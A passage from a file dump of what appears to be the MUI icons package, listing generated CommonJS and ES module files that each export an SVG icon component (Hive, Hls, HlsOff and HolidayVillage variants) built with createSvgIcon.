0-1.03l-1.2-2c-.18-.3-.51-.49-.86-.49h-2.46c-.35 0-.68.18-.86.49\"\n}), 'HiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HiveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.09 7.51 1.2-2c.19-.32.19-.71 0-1.03l-1.2-2c-.18-.3-.51-.48-.86-.48h-2.45c-.35 0-.68.18-.86.49l-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.17.3.5.48.85.48h2.45c.36 0 .69-.18.87-.49M9.91 9.49l-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.18.3.51.49.86.49h2.46c.35 0 .68-.18.86-.49l1.2-2c.19-.32.19-.71 0-1.03l-1.2-2c-.18-.31-.51-.49-.86-.49h-2.46c-.35 0-.68.18-.86.49m7.1 2.02h2.45c.35 0 .68-.18.86-.49l1.2-2c.19-.32.19-.71 0-1.03l-1.2-2c-.18-.3-.51-.49-.86-.49h-2.45c-.35 0-.68.18-.86.49l-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.19.31.51.49.86.49m2.46 1h-2.46c-.35 0-.68.18-.86.49l-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.18.3.51.49.86.49h2.46c.35 0 .68-.18.86-.49l1.2-2c.19-.32.19-.71 0-1.03l-1.2-2c-.18-.3-.51-.49-.86-.49M7.84 11.03l1.2-2c.19-.32.19-.71 0-1.03l-1.2-2c-.18-.3-.5-.49-.85-.49H4.53c-.35 0-.68.19-.86.49l-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.18.3.51.49.86.49h2.45c.36-.01.68-.19.86-.49m-.85 1.48H4.53c-.35 0-.68.18-.86.49l-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.18.3.51.49.86.49h2.46c.35 0 .68-.18.86-.49l1.2-2c.19-.32.19-.71 0-1.03l-1.2-2c-.19-.3-.51-.49-.86-.49m2.92 3.98-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.18.3.51.49.86.49h2.46c.35 0 .68-.18.86-.49l1.2-2c.19-.32.19-.71 0-1.03l-1.2-2c-.18-.3-.51-.49-.86-.49h-2.46c-.35 0-.68.18-.86.49\"\n}), 'HiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HiveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.79 8 1.8-3-1.8-3h-3.58l-1.8 3 1.8 3zm-3.58 1-1.8 3 1.8 3h3.58l1.8-3-1.8-3zm6.24 2.51h3.59l1.79-3-1.79-3h-3.59l-1.8 3zm3.59 1h-3.59l-1.8 3 1.8 3h3.59l1.79-3zm-12.49-1 1.8-3-1.8-3H3.96l-1.79 3 1.79 3zm0 1H3.96l-1.79 3 1.79 3h3.59l1.8-3zM10.21 16l-1.8 3 1.8 3h3.58l1.8-3-1.8-3z\"\n}), 'HiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HiveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.79 8 1.8-3-1.8-3h-3.58l-1.8 3 1.8 3zm-3.58 1-1.8 3 1.8 3h3.58l1.8-3-1.8-3zm6.24 2.51h3.59l1.79-3-1.79-3h-3.59l-1.8 3zm3.59 1h-3.59l-1.8 3 1.8 3h3.59l1.79-3zm-12.49-1 1.8-3-1.8-3H3.96l-1.79 3 1.79 3zm0 1H3.96l-1.79 3 1.79 3h3.59l1.8-3zM10.21 16l-1.8 3 1.8 3h3.58l1.8-3-1.8-3z\"\n}), 'HiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HiveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.92 7 4.79 9l1.13 2h2.14l1.13-2-1.13-2zm5.02 9L9.8 18.02 10.92 20h2.16l1.12-1.98L13.06 16zm2.12-2 1.13-2-1.13-2h-2.12l-1.13 2 1.13 2zm-7.14-1-1.13 2 1.13 2h2.14l1.13-2-1.13-2zm10.02-6-1.13 2 1.13 2h2.14l1.13-2-1.13-2zm-5.02-3L9.8 5.98 10.94 8h2.12l1.14-2.02L13.08 4zm5.02 9-1.13 2 1.13 2h2.14l1.13-2-1.13-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.5 9-2.25-4h-3.31l-1.69-3h-4.5L8.06 5H4.75L2.5 9l1.69 3-1.69 3 2.25 4h3.31l1.69 3h4.5l1.69-3h3.31l2.25-4-1.69-3zM8.06 17H5.92L4.8 15l1.12-2h2.14l1.12 2zm0-6H5.92L4.79 9l1.12-2h2.14l1.12 2zm5.02 9h-2.16L9.8 18.02 10.94 16h2.12l1.13 2.02zm-3.27-8 1.12-2h2.12l1.12 2-1.12 2h-2.12zm3.25-4h-2.12L9.8 5.98 10.92 4h2.16l1.12 1.98zm5.02 9h-2.14l-1.12-2 1.12-2h2.14l1.12 2zm0-6h-2.14l-1.12-2 1.12-2h2.14l1.12 2z\"\n}, \"1\")], 'HiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HiveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.92 7 4.79 9l1.13 2h2.14l1.13-2-1.13-2zm5.02 9L9.8 18.02 10.92 20h2.16l1.12-1.98L13.06 16zm2.12-2 1.13-2-1.13-2h-2.12l-1.13 2 1.13 2zm-7.14-1-1.13 2 1.13 2h2.14l1.13-2-1.13-2zm10.02-6-1.13 2 1.13 2h2.14l1.13-2-1.13-2zm-5.02-3L9.8 5.98 10.94 8h2.12l1.14-2.02L13.08 4zm5.02 9-1.13 2 1.13 2h2.14l1.13-2-1.13-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.5 9-2.25-4h-3.31l-1.69-3h-4.5L8.06 5H4.75L2.5 9l1.69 3-1.69 3 2.25 4h3.31l1.69 3h4.5l1.69-3h3.31l2.25-4-1.69-3zM8.06 17H5.92L4.8 15l1.12-2h2.14l1.12 2zm0-6H5.92L4.79 9l1.12-2h2.14l1.12 2zm5.02 9h-2.16L9.8 18.02 10.94 16h2.12l1.13 2.02zm-3.27-8 1.12-2h2.12l1.12 2-1.12 2h-2.12zm3.25-4h-2.12L9.8 5.98 10.92 4h2.16l1.12 1.98zm5.02 9h-2.14l-1.12-2 1.12-2h2.14l1.12 2zm0-6h-2.14l-1.12-2 1.12-2h2.14l1.12 2z\"\n}, \"1\")], 'HiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hls.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 9H8v6H6.5v-2.5h-2V15H3V9h1.5v2h2zm10 6h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2v.5h1.5v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2V13h-1.5v1c0 .55.45 1 1 1M14 15v-1.5h-2.5V9H10v6z\"\n}), 'Hls');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hls.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 9H8v6H6.5v-2.5h-2V15H3V9h1.5v2h2zm10 6h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2v.5h1.5v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2V13h-1.5v1c0 .55.45 1 1 1M14 15v-1.5h-2.5V9H10v6z\"\n}), 'Hls');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.83 15h1.67c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2v.5h1.5v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2V13h-1.17zM8 10.83V15H6.5v-2.5h-2V15H3V9h1.5v2h2V9.33L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-7.6-7.6H10v-2.17z\"\n}), 'HlsOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.83 15h1.67c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2v.5h1.5v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2V13h-1.17zM8 10.83V15H6.5v-2.5h-2V15H3V9h1.5v2h2V9.33L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-7.6-7.6H10v-2.17z\"\n}), 'HlsOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.83 15h1.67c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2v.5h1.5v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2V13h-1.17zM8 10.83V15H6.5v-2.5h-2V15H3V9h1.5v2h2V9.33L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-7.6-7.6H10v-2.17z\"\n}), 'HlsOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.83 15h1.67c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2v.5h1.5v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2V13h-1.17zM8 10.83V15H6.5v-2.5h-2V15H3V9h1.5v2h2V9.33L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-7.6-7.6H10v-2.17z\"\n}), 'HlsOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.83 15h1.67c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2.04c.1.29.38.5.71.5.41 0 .75-.34.75-.75V10c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2.04c-.1-.29-.38-.5-.71-.5-.12 0-.24.03-.34.08zm1.24 6.9c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51c-.39-.39-1.02-.39-1.41 0s-.39 1.02 0 1.41L6.58 9.4c-.05.11-.08.23-.08.35V11h-2V9.75c0-.41-.34-.75-.75-.75S3 9.34 3 9.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V12.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-3.42l2 2V14c0 .55.45 1 1 1h1.17z\"\n}), 'HlsOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.83 15h1.67c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2.04c.1.29.38.5.71.5.41 0 .75-.34.75-.75V10c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2.04c-.1-.29-.38-.5-.71-.5-.12 0-.24.03-.34.08zm1.24 6.9c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51c-.39-.39-1.02-.39-1.41 0s-.39 1.02 0 1.41L6.58 9.4c-.05.11-.08.23-.08.35V11h-2V9.75c0-.41-.34-.75-.75-.75S3 9.34 3 9.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V12.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-3.42l2 2V14c0 .55.45 1 1 1h1.17z\"\n}), 'HlsOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.83 15h2.67v-3.5H17v-1h2v.5h1.5V9h-5v3.5H19v1h-2V13h-1.17zM8 10.83V15H6.5v-2.5h-2V15H3V9h1.5v2h2V9.33L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-7.6-7.6H10v-2.17z\"\n}), 'HlsOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.83 15h2.67v-3.5H17v-1h2v.5h1.5V9h-5v3.5H19v1h-2V13h-1.17zM8 10.83V15H6.5v-2.5h-2V15H3V9h1.5v2h2V9.33L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-7.6-7.6H10v-2.17z\"\n}), 'HlsOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.83 15h1.67c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2v.5h1.5v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2V13h-1.17zM8 10.83V15H6.5v-2.5h-2V15H3V9h1.5v2h2V9.33L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-7.6-7.6H10v-2.17z\"\n}), 'HlsOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.83 15h1.67c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2v.5h1.5v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2V13h-1.17zM8 10.83V15H6.5v-2.5h-2V15H3V9h1.5v2h2V9.33L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-7.6-7.6H10v-2.17z\"\n}), 'HlsOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 9H8v6H6.5v-2.5h-2V15H3V9h1.5v2h2zm10 6h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2v.5h1.5v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2V13h-1.5v1c0 .55.45 1 1 1M14 15v-1.5h-2.5V9H10v6z\"\n}), 'HlsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 9H8v6H6.5v-2.5h-2V15H3V9h1.5v2h2zm10 6h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2v.5h1.5v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2V13h-1.5v1c0 .55.45 1 1 1M14 15v-1.5h-2.5V9H10v6z\"\n}), 'HlsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.75 9c-.41 0-.75.34-.75.75V14c0 .55.45 1 1 1h2.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H11.5V9.75c0-.41-.34-.75-.75-.75m8.29 1.5c.1.29.38.5.71.5.41 0 .75-.34.75-.75V10c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2.04c-.1-.29-.38-.5-.71-.5-.41 0-.75.34-.75.75V14c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1zM8 9.75C8 9.34 7.66 9 7.25 9s-.75.34-.75.75V11h-2V9.75c0-.41-.34-.75-.75-.75S3 9.34 3 9.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V12.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75z\"\n}), 'HlsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.75 9c-.41 0-.75.34-.75.75V14c0 .55.45 1 1 1h2.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H11.5V9.75c0-.41-.34-.75-.75-.75m8.29 1.5c.1.29.38.5.71.5.41 0 .75-.34.75-.75V10c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2.04c-.1-.29-.38-.5-.71-.5-.41 0-.75.34-.75.75V14c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1zM8 9.75C8 9.34 7.66 9 7.25 9s-.75.34-.75.75V11h-2V9.75c0-.41-.34-.75-.75-.75S3 9.34 3 9.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V12.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75z\"\n}), 'HlsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 9H8v6H6.5v-2.5h-2V15H3V9h1.5v2h2zm9 6h5v-3.5H17v-1h2v.5h1.5V9h-5v3.5H19v1h-2V13h-1.5zM14 15v-1.5h-2.5V9H10v6z\"\n}), 'HlsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 9H8v6H6.5v-2.5h-2V15H3V9h1.5v2h2zm9 6h5v-3.5H17v-1h2v.5h1.5V9h-5v3.5H19v1h-2V13h-1.5zM14 15v-1.5h-2.5V9H10v6z\"\n}), 'HlsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 9H8v6H6.5v-2.5h-2V15H3V9h1.5v2h2zm10 6h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2v.5h1.5v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2V13h-1.5v1c0 .55.45 1 1 1M14 15v-1.5h-2.5V9H10v6z\"\n}), 'HlsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HlsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 9H8v6H6.5v-2.5h-2V15H3V9h1.5v2h2zm10 6h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H17v-1h2v.5h1.5v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H19v1h-2V13h-1.5v1c0 .55.45 1 1 1M14 15v-1.5h-2.5V9H10v6z\"\n}), 'HlsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HolidayVillage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 20V8.35L13.65 4h-2.83L16 9.18V20zm4 0V6.69L19.31 4h-2.83L20 7.52V20zM8 4l-6 6v10h5v-5h2v5h5V10zm1 9H7v-2h2z\"\n}), 'HolidayVillage');"
  },
  {
    "path": "packages/mui-icons-material/lib/HolidayVillage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 20V8.35L13.65 4h-2.83L16 9.18V20zm4 0V6.69L19.31 4h-2.83L20 7.52V20zM8 4l-6 6v10h5v-5h2v5h5V10zm1 9H7v-2h2z\"\n}), 'HolidayVillage');"
  },
  {
    "path": "packages/mui-icons-material/lib/HolidayVillageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8 4-6 6v10h12V10zm4 14H9v-3H7v3H4v-7.17l4-4 4 4zm-3-5H7v-2h2zm9 7V8.35L13.65 4h-2.83L16 9.18V20zm4 0V6.69L19.31 4h-2.83L20 7.52V20z\"\n}), 'HolidayVillageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HolidayVillageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8 4-6 6v10h12V10zm4 14H9v-3H7v3H4v-7.17l4-4 4 4zm-3-5H7v-2h2zm9 7V8.35L13.65 4h-2.83L16 9.18V20zm4 0V6.69L19.31 4h-2.83L20 7.52V20z\"\n}), 'HolidayVillageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HolidayVillageRounded.js",
